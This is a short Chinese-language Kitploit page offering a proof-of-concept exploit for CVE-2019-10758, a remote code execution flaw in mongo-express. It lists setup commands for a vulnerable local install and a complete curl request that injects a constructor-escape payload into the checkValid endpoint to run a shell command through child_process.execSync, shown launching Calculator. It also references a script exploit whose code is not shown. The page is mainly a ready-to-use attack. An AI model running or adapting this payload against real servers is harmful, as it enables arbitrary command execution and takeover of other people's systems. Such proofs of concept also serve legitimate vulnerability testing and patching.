CVE-2019-10758 — CVE-2019-10758的概念验证利用程序，展示通过构造文档注入在mongo-express中实现远程代码执行。包含curl和基于脚本的payload。 | Kitploit

CVE-2019-10758 概念验证

设置

docker run -p 27017:27017 -d mongo
npm install [email protected] 
cd node_modules/mongo-express/ && node app.js

cURL 利用

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

脚本利用

node main.js